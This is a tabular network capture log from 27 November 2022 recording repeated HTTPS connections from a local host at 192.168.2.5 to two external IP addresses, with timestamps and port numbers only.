Nov 27, 2022 04:38:11.658704996 CET	49966	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.658787012 CET	443	49966	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.658916950 CET	49966	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.659163952 CET	49966	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.659189939 CET	443	49966	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.659308910 CET	443	49966	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.753905058 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.753974915 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.754090071 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.756547928 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.756587029 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.768094063 CET	49968	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.768178940 CET	443	49968	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.768286943 CET	49968	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.768568039 CET	49968	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.768627882 CET	443	49968	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.768724918 CET	443	49968	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.805685043 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.805779934 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.810976028 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.811005116 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.813920975 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.813936949 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.907850981 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.908008099 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:11.908121109 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.908122063 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.909212112 CET	49970	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.909269094 CET	443	49970	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.909379005 CET	49970	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.909601927 CET	49970	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:11.909630060 CET	443	49970	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.909718037 CET	443	49970	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:11.909893036 CET	49967	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:11.909914970 CET	443	49967	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.027288914 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.027363062 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.027470112 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.028426886 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.028464079 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.081852913 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.082072973 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.084425926 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.084448099 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.087338924 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.087352991 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.127867937 CET	49972	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.127940893 CET	443	49972	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.128045082 CET	49972	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.128243923 CET	49972	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.128268003 CET	443	49972	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.128362894 CET	443	49972	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.187263012 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.187428951 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.187545061 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.187545061 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.199301958 CET	49971	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.199357033 CET	443	49971	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.317102909 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.317181110 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.317284107 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.317620039 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.317651987 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.362107992 CET	49974	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.362179995 CET	443	49974	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.362268925 CET	49974	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.362498045 CET	49974	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.362524986 CET	443	49974	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.362597942 CET	443	49974	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.366770029 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.366897106 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.370048046 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.370069981 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.372983932 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.372999907 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.478933096 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.479057074 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.479104042 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.479134083 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.479176044 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.479202986 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.479412079 CET	49973	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.479444981 CET	443	49973	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.581175089 CET	49975	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.581248999 CET	443	49975	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.581330061 CET	49975	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.581562996 CET	49975	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.581579924 CET	443	49975	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.581636906 CET	443	49975	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.595781088 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.595846891 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.595937014 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.596935034 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.596967936 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.655308008 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.655410051 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.655953884 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.655975103 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.659197092 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.659210920 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.705329895 CET	49977	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.705403090 CET	443	49977	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.705547094 CET	49977	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.705702066 CET	49977	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.705728054 CET	443	49977	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.705770016 CET	443	49977	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.757548094 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.757694960 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.757729053 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.757755041 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.757790089 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.757814884 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.760054111 CET	49976	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.760083914 CET	443	49976	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.867532969 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.867613077 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.867729902 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.868196964 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.868236065 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.909363985 CET	49979	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.909404993 CET	443	49979	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.909477949 CET	49979	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.909622908 CET	49979	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:12.909634113 CET	443	49979	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.909732103 CET	443	49979	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:12.919234991 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.919405937 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.920103073 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.920125961 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:12.923086882 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:12.923103094 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.021383047 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.021537066 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.021559954 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.021609068 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.021724939 CET	49978	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.021756887 CET	443	49978	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.128043890 CET	49980	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.128093958 CET	443	49980	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.128175020 CET	49980	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.128345966 CET	49980	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.128360987 CET	443	49980	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.128453970 CET	443	49980	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.130351067 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.130414009 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.130517960 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.130898952 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.130930901 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.178802013 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.179003000 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.179542065 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.179569006 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.182611942 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.182631016 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.236696959 CET	49982	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.236777067 CET	443	49982	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.236907005 CET	49982	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.237060070 CET	49982	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.237085104 CET	443	49982	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.237246037 CET	443	49982	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.285980940 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.286098957 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.286148071 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.286179066 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.286235094 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.286351919 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.286351919 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.345962048 CET	49983	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.346044064 CET	443	49983	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.346204996 CET	49983	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.346366882 CET	49983	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.346386909 CET	443	49983	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.346599102 CET	443	49983	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.398888111 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.398962021 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.399069071 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.399478912 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.399513006 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.449750900 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.449863911 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.450534105 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.450550079 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.453815937 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.453833103 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.503211021 CET	49985	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.503268003 CET	443	49985	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.503340006 CET	49985	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.503551960 CET	49985	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.503566980 CET	443	49985	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.503628016 CET	443	49985	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.611114025 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.611248016 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.611278057 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.611392021 CET	49981	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.611428976 CET	443	49981	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.611473083 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.612379074 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.612449884 CET	443	49984	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.612509012 CET	49984	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.674335957 CET	49986	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.674412012 CET	443	49986	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.674578905 CET	49986	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.674736977 CET	49986	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.674762011 CET	443	49986	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.674937010 CET	443	49986	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.727087975 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.727164030 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.727276087 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.727631092 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.727658033 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.772798061 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.772907019 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.777832985 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.777857065 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.778182030 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.778254032 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.778821945 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.778835058 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.831684113 CET	49988	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.831751108 CET	443	49988	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.831864119 CET	49988	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.832046032 CET	49988	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:13.832072020 CET	443	49988	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.832125902 CET	443	49988	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:13.874849081 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.874939919 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.874968052 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.874984026 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.875010014 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.875034094 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.881310940 CET	49987	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.881344080 CET	443	49987	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.988543034 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.988631964 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:13.988780975 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.989166021 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:13.989207029 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.003201008 CET	49990	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.003278017 CET	443	49990	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.003365993 CET	49990	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.003566027 CET	49990	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.003596067 CET	443	49990	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.003640890 CET	443	49990	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.037270069 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.037482023 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.040715933 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.040735960 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.043445110 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.043452978 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.139740944 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.139889002 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.139946938 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.139986038 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.140127897 CET	49989	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.140152931 CET	443	49989	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.223651886 CET	49991	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.223702908 CET	443	49991	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.223786116 CET	49991	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.223999023 CET	49991	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.224020958 CET	443	49991	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.224107981 CET	443	49991	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.256330967 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.256387949 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.256480932 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.257551908 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.257587910 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.307401896 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.307514906 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.309365988 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.309395075 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.312223911 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.312247038 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.361769915 CET	49993	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.361814022 CET	443	49993	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.361890078 CET	49993	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.362097025 CET	49993	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.362107992 CET	443	49993	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.362149954 CET	443	49993	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.407524109 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.407620907 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.407653093 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.407722950 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.407726049 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.407783031 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.409096003 CET	49992	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.409126043 CET	443	49992	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.521087885 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.521167994 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.521277905 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.522943020 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.522972107 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.549402952 CET	49995	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.549485922 CET	443	49995	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.549599886 CET	49995	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.549776077 CET	49995	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.549798965 CET	443	49995	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.549930096 CET	443	49995	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.573347092 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.573518038 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.574095011 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.574126959 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.576891899 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.576929092 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.677967072 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.678052902 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.678097010 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.678145885 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.678409100 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.678509951 CET	443	49994	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.678587914 CET	49994	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.769838095 CET	49996	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.769921064 CET	443	49996	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.770013094 CET	49996	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.770186901 CET	49996	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.770209074 CET	443	49996	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.770380974 CET	443	49996	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.786139965 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.786211967 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.786298990 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.786792994 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.786829948 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.840893984 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.841079950 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.846280098 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.846308947 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.847150087 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.847227097 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.847826958 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.847851038 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.893117905 CET	49998	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.893182993 CET	443	49998	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.893282890 CET	49998	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.893445015 CET	49998	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:14.893465996 CET	443	49998	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.893609047 CET	443	49998	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:14.938302040 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.938396931 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.938441038 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.938469887 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:14.938528061 CET	49997	443	192.168.2.5	172.66.43.60
